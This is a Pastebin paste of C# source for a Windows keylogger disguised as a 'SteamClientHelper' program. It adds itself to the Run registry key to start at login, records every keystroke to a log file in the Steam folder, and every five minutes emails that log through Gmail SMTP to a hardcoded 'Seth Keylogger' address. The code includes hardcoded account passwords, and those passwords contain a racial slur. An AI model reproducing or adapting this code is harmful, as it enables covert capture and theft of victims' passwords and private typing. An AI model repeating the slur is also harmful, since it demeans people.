Advertisement
Guest User

Untitled

a guest
May 25th, 2018
213
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.46 KB | None | 0 0
  1. using Microsoft.Win32;
  2. using System;
  3. using System.Collections.Generic;
  4. using System.ComponentModel;
  5. using System.Data;
  6. using System.Drawing;
  7. using System.IO;
  8. using System.Linq;
  9. using System.Runtime.InteropServices;
  10. using System.Text;
  11. using System.Threading;
  12. using System.Threading.Tasks;
  13. using System.Windows.Forms;
  14. using System.Net.Mail;
  15.  
  16. namespace SteamClientHelper
  17. {
  18. public partial class Form1 : Form
  19. {
  20.  
  21. [DllImport("user32.dll")]
  22. public static extern int GetAsyncKeyState(Int32 i);
  23.  
  24. [DllImport("user32.dll")]
  25. static extern int MapVirtualKey(uint uCode, uint uMapType);
  26.  
  27. public Form1()
  28. {
  29. InitializeComponent();
  30. }
  31.  
  32. struct pasteBinUser
  33. {
  34. public string username;
  35. public string password;
  36. }
  37.  
  38. private void Form1_Load(object sender, EventArgs e)
  39. {
  40. RegistryKey rk = Registry.CurrentUser.OpenSubKey
  41. ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  42.  
  43. rk.SetValue("steamclienthelper", @"C:\Program Files(x86)\Steam\steamclienthelper.exe");
  44.  
  45. Thread _thread = new Thread(logger);
  46. _thread.Start();
  47.  
  48. Thread _uploadThread = new Thread(uploadThread);
  49. _uploadThread.Start();
  50. }
  51.  
  52. void uploadThread()
  53. {
  54. while (true)
  55. {
  56.  
  57. Thread.Sleep(300000);
  58. pasteBinUser user = new pasteBinUser();
  59. user.username = "JasonB123";
  60. user.password = "nigger123";
  61.  
  62. string text = "";
  63.  
  64. if (File.Exists(@"C:\Program Files (x86)\Steam\log.txt"))
  65. {
  66. text = File.ReadAllText(@"C:\Program Files (x86)\Steam\log.txt");
  67. }
  68. File.Delete("log.txt");
  69.  
  70. MailMessage mail = new MailMessage();
  71. mail.To.Add("sethkeyloggerlmao@gmail.com");
  72. mail.From = new MailAddress("sethkeyloggerlmao@gmail.com");
  73. mail.Subject = "Seth Keylogger";
  74. mail.Body = text;
  75. mail.IsBodyHtml = true;
  76. SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
  77. smtp.EnableSsl = true;
  78. smtp.UseDefaultCredentials = false;
  79. smtp.Credentials = new System.Net.NetworkCredential("sethkeyloggerlmao@gmail.com", "Nigger123*");
  80. smtp.Send(mail);
  81.  
  82.  
  83. }
  84. }
  85.  
  86. void logger()
  87. {
  88.  
  89. if (!File.Exists(@"C:\Program Files (x86)\Steam\log.txt"))
  90. {
  91. using (StreamWriter sw = File.CreateText(@"C:\Program Files (x86)\Steam\log.txt"))
  92. {
  93.  
  94. }
  95. }
  96.  
  97. char text;
  98.  
  99. while (true)
  100. {
  101. Thread.Sleep(1);
  102.  
  103. for (int i = 0; i < 255; i++)
  104. {
  105. int key = GetAsyncKeyState(i);
  106.  
  107. if (key == 1 || key == -32767)
  108. {
  109.  
  110. text = Convert.ToChar(i);
  111.  
  112. using (StreamWriter sw = File.AppendText(@"C:\Program Files (x86)\Steam\log.txt"))
  113. {
  114. sw.Write(text);
  115. }
  116.  
  117. break;
  118. }
  119. }
  120. }
  121.  
  122. }
  123.  
  124. }
  125. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement